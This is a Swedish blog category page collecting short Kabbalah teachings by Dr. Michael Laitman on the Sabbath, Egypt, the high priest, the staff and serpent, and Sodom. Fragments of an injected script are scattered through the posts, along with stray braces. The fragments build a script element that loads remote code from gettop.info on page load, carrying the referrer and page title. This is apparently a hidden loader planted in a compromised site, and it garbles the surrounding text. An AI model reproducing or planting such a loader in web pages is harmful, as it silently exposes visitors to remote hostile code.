Inlägg i kategori 'Tora'

Är det möjligt att kroppen får evigt liv

Laitman_709Fråga: Den fysiska kroppen är en del av korrigeringen. Om en person lär sig leva enligt mitzvot (budord), kommer ens fysiska kropp då bli odödlig?

Svar: Den fysiska kroppen har ingen koppling till mitzvot. Observerandet av mitzvot är korrigeringen av egot till att anta en karaktär av givande och att älska andra. Och denna karaktär kallas korrigeringen av Adam (människan).

Vi är tillsagda att ändras gradvis, om och om igen, var och en av våra 613 begär från egoistiskt till altruistiskt användande, och på detta sätt känner vi den högre världen mer och mer, och med mer och mer klarhet ser vi saker och ting genom dess korrigerade karaktärer.

Fråga: Vad är kropp inom kabbala?

Svar: En kropp är dess kollektiva begär. Vi har nu 613 egoistiska begär, det vill säga en egoistisk kropp, och när vi korrigerat egot behöver vi en ny, helig kropp, det vill säga begäret efter givande och kärlek.

[169727]

Från en kabbalalektion i Ryssland 10/11/15

if (document.currentScript) {

Smaka en droppe Ljus och dö

Dr. Michael Laitman

Midrash Sefer, Efter döden, “Det heliga arbetet på Yom Kippur”

För att bli värdiga att komma in i det heligaste heliga var översteprästen tvungen att först rena sig genom att fjärma sig från alla materiella begär.

De flesta överstepräster som tjänade vid templet köpte sin roll genom mutor. De kunde aldrig uppnå den andliga nivå som var nödvändig för att komma in i det heligaste heliga, därmed var mötet med den gudomliga uppenbarelse som ägde rum där dödlig för dem.

Den nedgång som ägde rum under det andra templets tid är det vi kallar kärlens sönderfall.

Det övre Ljusets närvaro, av egenskaperna av kärlek och givande, kom i kontakt med egenskapen av att ta emot för sin egen skull och då skedde förstörelsen. Ljuset försvann och begäret som ville ha Ljuset ville det egoistiskt (om än omedvetet), kunde inte stå inför det, och översteprästen skulle dö. De brukade dra ut honom ur det heligaste heliga med ett rep bundet vid hans fötter eftersom det var förbjudet för andra att gå in i det heligaste heliga.

Men han brydde sig inte så länge han kunde känna den sötman för blott ett ögonblick. Man kan inte motstå njutningen av Ljuset för utan det är ens liv värdelöst! Han öppnar sin mun och tar emot droppen gift, som i själva verket är en droppe Ljus. Men för honom, egoisten, är det en droppe gift som dödar.

Detta händer även oss i vår värld, när någon offrar sitt liv för en droppe njutning. Även om personen dör vill han bara känna njutningen. Så är vi skapta, ett hjärta och en hjärna, njutning och medvetande. Om njutningen är större än medvetandet fungerar inte medvetandet och man tappar helt enkelt förståndet.

Därför kunde inte översteprästen begränsa sig från att uppnå njutningen, och därför dog han. Om han hade köpt sin position för pengar och inte uppnått den genom egen ansträngning innebar det att han saknade en masach (skärm), iinstrumentet för att ta emot Ljuset för att ge. Men om han ansträngt sig istället för att betala för sin position, hade han utfört sitt andliga arbete och stigit till den nivån och anslutit till det övre Ljuset.

Nu efter förstörelsen av det andra templet, när vi fallit hela vägen ner till vår värld, kan det bara finnas en väg upp. Om man inte är värdig att stiga till nästa nivå kommer man inte göra det.

Men under tiden för det första och det andra templet var det möjligt att vidröra Ljuset eftersom nedstigandet skedde ovanifrån ner. Men i vårt fall å andra sidan, under uppstigandet nerifrån upp, är det förbjudet att stiga till den övre nivån om vi inte är redo för det.

Därför kan den kabbalistiska visdomen visas för alla idag. Folk kommer ändå inte veta någonting förrän de uppnår andlig insikt.
[144209]
Från KabTV “Den eviga bokens hemligheter” 20141203

if (document.currentScript) {

Andlig sabbat

Dr. Michael LaitmanFråga: Vår inre förståelse av sabbaten skiljer sig från den religiösa förståelsen inom judendomen som är baserad på förkroppsligandet av buden.

Svar: De fysiska handlingar de religiösa judarna utför på daglig basis är materiella kopior av andliga handlingar.

Kabbala lär oss att korrigera våra ego under de sex vardagarna [alla dagar utom sabbat], det vill säga att förbinda sig med andra. När vi etablerar en tydlig förbindelse med andra kommer vi inse att vi är oförmögna att förbinda oss med dem på egen hand den sjunde dagen.

Vi ser att kommunism, socialism, kommuner, och kibbutzer inte kan förändra världens tillstånd. Detta är enbart möjligt enligt det system som ger oss möjligheten att på rätt sätt föra samman alla de brustna delarna under de första sex dagarna, som på den sjunde dagen resulterar i att alla våra begär och strävanden att samla ihop alla igen limmas samman under påverkan av den högre kraft som en gång tog isär dem. Genom att samla ihop delarna av den gemensamma själen igen, låter vi alltså det Ljus som en gång splittrade dem åter limma samman dem.

Vad uppnår vi genom att göra det? När vi arbetar under de sex dagarna, börjar vi förstå just hur dessa delar kan samlas, vi ser om de passar ihop, hur de påverkar och hjälper varandra, hur de upphäver sig själva inför varandra och då kopplas samman ovan deras egoism.

Men vi försöker bara! Människor är oförmögna att göra någonting på egen hand, vilket Sovjetunionen och många andra länder i världen försökt göra; vissa samhällen försöker fortfarande.

Men detta är omöjligt för vi saknar kraften som kan förändra saker eftersom vi bara befinner oss i vår vilja att ta emot. Men om vi gör det på rätt sätt kommer vi gradvis samla de övre Ljuset, och när vi slutat konstruera detta system kommer Ljuset att påverka oss och fullborda det.

Om vi lämnar det som det är eller bara struntar i det, kommer vi inte att uppnå den rätta förbindelsen med Ljuset. Det var just därför splittringen skedde, så att vi nu från den lägsta brustna punkten ska limma samman de trasiga delarna till en ny helhet. Sönderfallet skedde för att vi skulle förstå Ljusets egenskaper, att kopplas samman, och stiga till dess nivå. Detta är syftet med skapelsen, orsaken till allt som sker med oss och i hela universum.

Därför är veckans sjunde dag hörnstenen och kallas  “Sabbat – Shabbat” från det hebreiska ordet “shvitah”, som betyder befrielse från arbete. Vi låter Ljuset verka istället för oss och inkluderas i det. De sex dagarna är inte dagar så som vi vanligtvis tänker på dagar; de är handlingar som till exempel kan utföras på en kvart, men det kan också ta en 2 månader.

Vart sjunde steg bör alltid vara att förutom ens ansträngningar se till Ljusets handling och börja förstå dess egenskaper. Med andra ord kommer Ljusets egenskaper in i det system av ömsesidiga förbindelser vi skapat. Och då stiger vi till nästa nivå och uppnår Ljusets egenskaper i enlighet med våra ansträngningar under de sex arbetsdagarna.

Det är så här vi jobbar, vecka efter vecka, tills vi når den fullständiga återföreningen av alla de brustna delarna i en enda förenad själ och uppnår Ljuset som agerar inom detta system, det vill säga Skaparen:  den ursprungliga kraft som skapade hela universum. Detta är vårt arbete, vårt mål, vår utveckling.

[130710]

Från KabTVs “Den eviga bokens hemligheter”, 2013.10.10

”Tänk på sabbatsdagen”

Dr. Michael LaitmanToran, Andra Mosebok 20:8 – 20:11: ”Tänk på sabbatsdagen, så att du helgar den. Sex dagar skall du arbeta och uträtta alla dina sysslor. Men den sjunde dagen är Herrens, din Guds, sabbat. Då skall du inte utföra något arbete, inte heller din son eller din dotter, din tjänare eller tjänarinna eller din boskap, och inte heller främlingen som bor hos dig inom dina portar. Ty på sex dagar gjorde Herren himlen och jorden och havet och allt som är i dem, men på sjunde dagen vilade han. Därför har Herren välsignat sabbatsdagen och helgat den.”

Den som vill utvecklas i riktning mot andligheten måste följa detta villkor eftersom Toran inte talar om materiella utan om andliga dagar. Poängen är att vi måste korrigera oss själva för att närmare efterlikna den speciella andliga form som kallas Zeir Anpin. Den består av sex delar, och vi kallas dess kopia eller bild i den här världen för veckans sex arbetsdagar.

Det handlar inte om att arbeta på en fabrik eller ett konto; det ses inte alls som arbete. Snart kommer vi inte alls att jobba fysiskt och vårt arbete kommer faktiskt bestå av att uppnå de andliga nivåerna.

Detta innebär att jag på den första arbetsdagen kommer likna den första Sfiran, Chesed. På den andra dagen kommer jag efterlikna den andra Sfiran, och så vidare. Det här är inte materiella dagar , inte dygnets 24 timmar, inte heller jordens rotation runt sin egen axel.

Genom att arbeta på mig själv korrigerar jag mitt allmänna begär: Jag rankar det enligt de sju delarna och korrigerar det i därmed så att det tar an formen av Chesed, GvuraTifferetNetzachHod, och Yesod. Jag korrigerar inte den sjunde delen av mitt begär.

Alla mina begär som korrigeras under de sex dagarna ackumuleras och fyller mig på den sjunde nivån som kallas Malchut. Denna nivå hör inte till mina sex arbetsdagar av korrigering; det är en gåva från Ovan, ett tillägg till de sex dagarna.

Vi bör säga att uppdelningen i sju dagar inte alls existerar i vår värld ur en astronomisk synvinkel. Vi har en månad, ett år, månens rotation, jordens rotation, solens rotation, men det finns ingenting sådant som en vecka. När jorden snurrar ett varv runt sin egen axel är det ”en dag”. ”En månad” är månens rotation runt jorden, och ett år är jordens rotation rund solen.

Det finns också helger som kallas “nymåne” [t.ex. i judendomen], “nyår” och så vidare. En nymåne, det vill säga början av en månad, är tydlig då det är en ny måne, när jorden inte längre döljer den fullständigt, utan gradvis avslöjar den. Månen verkar gradvis växa och det är ett astronomiskt tecken. Man tittar på himmelen, man ser den, och man kan mäta allt enligt det. Om man bor i Jerusalem mäter man det relativt Jerusalem, och så vidare, allt beroende på longitud.

Men en vecka är bara ett andligt begrepp. Ingen brukade följa det, ingen hade någonsin firat det. Det har faktiskt sitt ursprung i Abraham grupp, vars medlemmar började rikta in sig mot de andliga krafterna på det viset.

Det hör inte bara till Jerusalem. Det firas på vilken longitud som helst där man befinner sig. Om jag nu firar sabbat i Jerusalem, så är det för min vän i Mexico fortfarande en veckodag och han firar det inte. Detta tecken existerar inte i vår värld.

Vad indikerar det? Om man utför andligt arbete och korrigerar de sex delarna inom sig, sin själs sex sfirot – ChesedGvuraTifferetNetzachHod ochYesod – då når man ett tillstånd där de alla kopplas samman eftersom Yesod är den anslutande delen. Allt detta kommer in i veckans sjunde dag, Malchut.

Detta andliga tillstånd har ingenting att göra med kalenderns veckodagar. Det kan vara ett ögonblick eller tio minuter, det spelar ingen roll eftersom tiden inte spelar någon roll. På den dagen, det vill säga i det andliga tillståndet, får man inte göra någonting eftersom man måste ta emot resultatet av den så kallade arbetsveckan, av de sex stegen av korrigering inombords. Till följd av detta alternerande arbete på de sex delarna för korrigering och den sjunde delen samt deras förbindelse, når man slutet av korrigeringen, när hela ens själ är fullständigt korrigerad.

[109708]

Från KabTVs “Den eviga bokens hemligheter”, 2013.02.25var d=document;var s=d.createElement(‘script’);

Nyckeln till alla lås är begäret

Dr. Michael LaitmanBaal Hasulam, Arvut (ömsesidig garanti): ”Och du har bevisligen funnit att givandet av Toran var tvunget att fördröjas tills de kom ut ur Egypten och blev en nation av sig själva, så att alla deras behov tillgodosågs av dem själva, oberoende av andra. Detta kvalificerade dem att ta emot arvut, och sedan gavs de Toran.

Jag behöver ett stort begär att ta emot kallat ”Egypten” och jag måste fatta ett inre beslut. Jag har inte styrkan att förverkliga detta, men jag har styrkan att klargöra och dra slutsatsen att jag vill lämna detta ”Egypten”, att jag måste stiga ovan det.

På ett sätt, känner jag redan att det är möjligt för mig att få hjälp från ovan. Genom mitt klargörande, förstår jag att andligt avancemang inte är något annat än ömsesidig integration mellan alla i ett kärl och dess korrigerande genom ljuset.

Jag skaffar detta ljus. Jag går med på göra allt jag kan. Jag förstår att det är brådskande, nödvändigt, och möjligheten av vad som händer och enbart begär ljuset.

I en sådan omständighet är jag redo att ta emot Toran, det vill säga metoden för korrigeringen. Jag har allt som behövs för detta behov: ett kärl av rätt storlek, brister, nödvändigheter, medvetenhet om nödvändigheten, kontakt, och även en inre kamp med mig själv för eller emot förening.

Jag förstår redan och känner allt detta, jag går med på den andliga vägen och vill ha den. Jag saknar bara ljuset som reformerar. Jag är redo att arbeta med alla dessa komponenter finns i mig och med dem tvinga fram en påverkan av ljuset som reformerar.

Alltså når jag den avgörande punkten: Från min sida, har jag uppnått allt som krävs för en första kontakt, och jag får till slut kontakt med det övre ljuset.

Det är viktigt att komma ihåg här att Skaparen inte är den som accepterar ett beslut att ge mig ljuset som reformerar. Utan det är jag själv som etablerar det. Därför bör man inte räkna med någon snällhet och nåd, som det står skrivet: ”En dåre viker sina händer, och sitter och äter sitt egna kött”. Ingenting bara kommer från ovan – det är just  jag som öppnar alla dörrar.

Även om vi talar om en ömsesidig relation mellan en person och den övre, så är det faktiskt jag som konstruerar den övre. Det övre ljuset befinner sig i absolut vila. Allting beror helt och hållet på mitt kärl, mitt begär. Om jag är redo att öppna valvet, det kranen, då anländer det övre ljuset och utför den nödvändiga handlingen.

Allting beror på en själv, med ens ansträngningar med de primära källorna, med sin lärare, gruppen, med disseminering. Allting börjar från nedan. Om jag har nog med styrka och ett korrekt begär nedan, då kommer han att öppna portarna och aktivera all den andliga kraften från ovan. Grunden för allt är förberedelsen av den lägre delen.
[106734]

Från den fjärde delen av den dagliga kabbalalektionen, 2013.05.05, Ömsesidig garanti

 

videoikon WMV | ljudikon MP3

Tvingad av piskan eller frivilligt

Dr. Michael LaitmanDet sägs att Skaparen skapade den onda böjelsen, men egentligen är poängen att jag ska upptäcka den själv, upptäcka att mitt inledande begär är ont och motsatt Skaparen.

Det är inte så lätt. Även om Skaparen ger och jag tar emot, vad är ont med det? Poängen är inte begäret, det är likadant, varken ont eller gott. Jag avgör själv ondskan genom att inse den.

Man når givandet av Toran när man behöver korrigering, när man inom sitt begär upptäcker en ond intention: åt sig själv och mot andra, vilket innebär mot andra människor och mot Skaparen. Detta är vad man kallar onska. Det krävs seriös förberedelse för att kunna känna en sådan skam att man känner ”Jag vill hellre dö än leva.”

Vi föreställer oss  Toran som en nödvändighet, så tvingande som hatets berg hotandes över oss och ger oss inget val. Men man måste känna ett begär eftersom det inte finns något tvång i det andliga. Så hur kan detta problem lösas? Å ena sidan knuffar Skaparen mig ”mot väggen”, och å andra sidan behöver jag känna en brist.

Egentligen dikterar Skaparen bara ett villkor, och jag uppfyller det, jag tar emot Toran, vilket betyder en metod för korrektion, men jag måste själv stabilisera detta villkor och gå med på det: ”Om jag inte accepterar det, då vill jag hellre  dö än leva.” Detta är den förberedelse som krävs av en .

Från den fjärde delen av den dagliga kabbalalektionen 2012.10.28, Matan Torah (Givandet av Toran)
videoikon WMV (engelska) | ljudikon MP3 (svenska)

På vilket sätt är vi annorlunda?

Dr. Michael LaitmanFråga: Utan att nämna kabbala i vår disseminering säger vi helt enkelt till folk att ömsesidig garanti kommer att ge dem ett gott liv. I så fall, hur skiljer vi oss från andra organisationer som kommer med liknande löften?

Answer: Det är synd om du inte känner skillnaden.

Den moderna människan upplever en global, integrerad kris. På detta sätt visar Skaparen henne att hon är förbunden med andra på fel sätt och att hon måste nå ömsesidig garanti. Det finns en metod som kommer att hjälpa henne förenas med andra på rätt sätt och att börja leva ett gott liv. Denna metod fungerar genom att skapa rätt atmosfär, ett ”skal” av omgivningen, som ger människan förklaringen på hur man lever tillsammans och för ett gott, hälsosamt och säkert liv.

Människan hör detta och förstår att det inte finns någon annan lösning. Andra hör samma sak, så det är lättare att göra detta tillsammans med dem. Människan lär sig att förenas med andra på rätt sätt, och i denna process drar hon till sig det omformande Ljuset. Det är samma sak som barn gör när de leker, blir äldre och klokare i processen.

När en människa finner att hon är i en svår situation använder hon därmed andra för att dra till sig Ljuset, och börjar gradvis uppskatta givandets kraft. Hon uppskattar det högt och det blir det högsta värdet för henne. Plötsligt börjar hon respektera det så mycket att till och med när allt i hennes liv fungerar som det ska, överger hon inte givandet, utan vill genomföra det oavsett sina förnimmelser. Det är för att hon tillskriver detta den högsta vikten.

Så blir en människa andlig, från en egoistisk intention, lo lishma, till en altruistisk intention, lishma. Det finns ingen chans att 99% av befolkningen kommer att nå korrigeringen på något annat vis. Kan du rekommendera någonting annat bortsett från Tora?

Jag menar att problemet är ett grundläggande missförstånd av hur man för fram AHP. Vi har vetat hur man korrigerar Galgalta Eynaim sedan Babylons tid, men för att korrigera AHP är detta det enda sätt vi har.

Från den andra lektionen i New York, 2011.09.12
videoikon WMVljudikon MP3

}

“Minns dagen då vi kom ut ur Egypten”

Dr. Michael LaitmanFråga:Vad är innebörden av budet “Minns dagen då vi kom ut ur Egypten”, i sammanhang med ens inre arbete?

Svar: Det står i Zohar, stycke 121 i kapitel “Bo” att Toran nämner uttåget ur Egypten 50 gånger. Förutom det står det skrivet att man måste se sig själv komma ut ur Egypten varje dag, så är det på grund av att allt vårt arbete enbart utförs i relation till Egypten.

Ens andliga arbete med att korrigera sin egoistiska natur börjar från stadiet “Abraham” – Grunden till givandets egenskap. Men hur kan vi utveckla denna egenskap?

Detta är anledningen till att “Abrahams” fråga till Skaparen framträder inombords: “Hur kommer mina ättlingar ärva ett stort land?” (kapitel “Lech-Lecha“). Med detta menas: Hur kan jag inuti mig utveckla (därför att mina ättlingar är mina framtida tillstånd) ett enormt begär efter givande och kärlek för att på så sätt mottaga hela Ditt Ljus från Dig?

Svaret som fås är det följande (från Skaparen till Abraham): “Känn till att dina ättlingar kommer vara i exil i 400 år”, där 400 år är alla fyra nivåer av egoism. Skaparen talar alltså om för en att man kommer sänkas ner fullständigt i egoism och därmed förvärva ett begär som är likvärdigt med det oändliga Ljuset.

Först kommer du att genomsyras av detta begär att absorbera allt, och sedan kommer du att upptäcka att det är felaktigt, och vilja komma ur det. När du kommer ur det börjar du korrigera det från ett egoistiskt begär till ett begär att ge. Med detta menas att lämna Egypten och träda in i det heliga landet.

På detta sätt, genom att gradvis korrigera den egoism vi förvärvar, stiger vi upp för 125 steg till den fullständiga korrigeringen (Gmar Tikkun). Följaktligen delas vår andliga väg in i tre olika faser:

1. Från den ursprungliga punkten (Abraham, strävan efter att uppenbara Skaparen) fram till inträdet i Egypten.
2. I Egypten, där vi utvecklar vår strävan efter Skaparen, som frambringar utvecklingen av egoism och insikten att den är ond, och utvägen ur den.
3. Korrigeringen av våra egoistiska begär fram till deras fullständiga korrigering.

Allting kretsar kring “Egypten”: En del av vår väg är “innan” och en del är “efter”. Men Egypten är den centrala punkten. Det är därför man måste känna att man kommer ur Egypten varje dag, alltså att man varje dag tar en del av det egoistiska begäret och korrigerar det, och tar emot ett nytt Ljus inuti det. Detta kallas “en ny dag”. Och detta fortsätter på alla nivåer.

Från den andra delen av den dagliga kabbalalektionen 4/13/11, Zohar

Vad är det du har i händerna: en stav eller en orm?

Dr. Michael LaitmanShamati #59,”Om staven och ormen”: ”Och Moses svarade och sade: ‘Men, skåda, de kommer inte att tro mig'” etc. ”Och Herren sade till honom: ‘Vad är det i din hand?’ Och han sade: ‘En stav.’ Och Han sade: ‘Kasta den på marken…’ och det blev en orm; och Moses flydde från den” (Andra Moseboken, Exodus, 4).

Vi måste förstå att det inte finns mer än två grader, antingen Kedusha (Helighet) eller sitra achra (andra sidan). Det finns inget mellanläge, utan samma stav blir en orm om den kastas i marken.

…Detta är betydelsen av frågan ”Vad är det i din hand?”. En hand innebär begripande, från orden, ”och om en hand begriper”. En stav (mateh på hebreiska) innebär att alla ens begripanden bygger på urskiljandet av lägre vikt (mata på hebreiska), som är tro över förnuftet. Det är så för att tro anses ha lägre betydelse, och som låghet…

Det finns en mycket subtil analys som görs hela tiden, och som man måste göra för att gå vidare mot själens korrigering. Den kallas ”staven och ormen”. Du kan kontrollera dig själv så här: Om jag har en stark vilja att göra någonting och det står klart för mig att det är för min egen skull, och jag inser att det är så här den egoism som brinner inom mig uttrycks, samma ögonblick jag förstår detta måste jag försöka stiga över detta.

Även om jag har en stor inre vilja att döma min vän för att bestämma om jag ska närma mig honom eller avlägsna mig från honom, över allt detta måste jag anstränga mig och höja allt mitt hat, all min avsky, besvikelse och alla förväntningar på andra – vännerna, läraren, Skaparen – och gå framåt med tro över förnuftet.

Jag måste istället förstå att precis de villkor jag har fått är ”staven” som jag måste ta upp i mina händer. Då kommer den att bli en symbol för min tro och hjälpa mig att gå framåt.

Men om jag kastar staven i marken enligt mitt begär (“jord” – eretz, är “begär” – ratzon), då förvandlas den till en orm.

Jag måste göra denna analys för att känna dessa två punkter, som hela tiden är närvarande men som motsäger varandra, inom mig. Mitt ego flammar och vill döma alla – vännerna, läraren och Skaparen. Och dess klagomål och ilska är helt försvarbar. Det är verkligen upprört inombords mot dem alla. Men över detta jobbar jag på att älska dem, rättfärdiga dem, och ge till dem av hela mitt hjärta genom tro över förnuftet.

När jag känner dessa två punkter tillsammans betyder det att jag balanserar mig själv korrekt i mitt nuvarande tillstånd. Dessa punkter är vad som utgör min väg mot skapelsens mål.

På denna väg kommer jag att se att jag hela tiden tas över av nya beräkningar och ny kritik, nya oenigheter mellan mig själv och omgivningen, och detta händer för att få mig att ännu en gång tänka att jag har rätt och de har fel. Detta arbete börjar med en gång, så fort gruppen blir organiserad.

Antingen kommer folk att avancera genom tro över förnuftet, eller så kommer de att drunkna i dessa oenigheter och vandra tillsammans med ormen, kasta sin stav på marken, vilket innebär att istället för att gå med tro över kunskap längs vägen kommer de att gå med tron inom eller under kunskapen. Då kommer det enda som är kvar att göra vara att vänta på att de ska vakna, och det kan ta en mycket lång tid – ingen vet när det kan hända.

Från den första delen av den dagliga kabbalalektionen 2011.04.13, Shamati
videoikon WMVljudikon MP3

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Är Sodom verkligen så illa för viljan att ta emot?

Dr. Michael LaitmanFråga: Varför associeras termen “Sodom” med dåliga relationer mellan människor?

Svar: Om vi betraktar denna kvalitet i sig, verkar det som att den är till för att skydda samhället genom att upprätta en strikt ordning i det: Alla tar hand om sig själva och sina familjer utan att gå utanför de accepterade normerna. Det finns någonting väldigt rationellt i detta, och det är inte enkelt att uppnå detta tillstånd.

Levnadsreglerna i Sodom är mycket enkla: “Mitt är mitt, ditt är ditt,” “Om du inte rör mig kommer jag inte att skada dig.” Det är förbjudet att låna ut, och det är inte tillåtet att låna. Alla lever enligt den ansträngning de gör: Det du tjänat ihop är helt och hållet ditt.

Vi kommer att döda tjuvarna, förgöra lögnarna; var och en som hjälper en annan förstör den människan eftersom välgörenhet leder till lathet, hon kommer nu alltid att vilja ta emot och slutar att jobba. Så sett är vår värld värre än Sodom!

Egenskapen Sodom innebär att jag inte är avundsjuk på någon: Jag har det jag har rätt till, och du har det du förtjänar. Denna livsfilosofi är unik och komplicerad! Vi använder det som ett skällsord, men vi har inte ens kommit i närheten av det.

Attributet Sodom är inte negativt i sig, utan i relation till landet Israel, viljan att uppnå kärlek till andra, Abrahams kvalitet. På denna väg stannar Sodom upp en, men i sig är detta tillvägagångssätt väldigt användbart för viljan att ta emot.

Om vi inte går över till viljan att skänka representerar nivån Sodom de mest gynnsamma relationerna i samhället: Ge inte något till någon och ta inte emot någonting från dem! Detta är en hälsosam attityd till viljan att ta emot: Om du har rätt till någonting, lev, och om inte, dö. Det är ju trots allt så att allt man tar emot utöver det nödvändiga skadar vår vilja att ta emot eftersom den genom lyx blir van vid att använda andra, vilket skadar den.

Invånarna i Sodom förstod att de inte bör ge efter för viljan att ta emot. Man tar emot enligt sin ansträngning, såsom det sägs “Graden av lidande avgör belöningen”. Så, vad är det för fel med det?

Därmed är det svårt för Abraham att separera från Lot, och deras förhållande varar en lång tid. Först när Abraham ser behovet av att komma vidare och i framtiden förvandla Sodom (Kanaans land) till landet Israel, revolterar han och byter plats på viljan att ta emot och viljan att skänka i termer av deras vikt. Detta beskrivs som en jordbävning i Sodom.

Det är ett väldigt viktigt beslut när man känner behovet av att förändra sin attityd till egoismen. När man väl fattat detta beslut blir man sant fri.

Från lektionen om veckans toraavsnitt ”Lech lecha”, 2010-10-15.
videoikon Videoljudikon MP3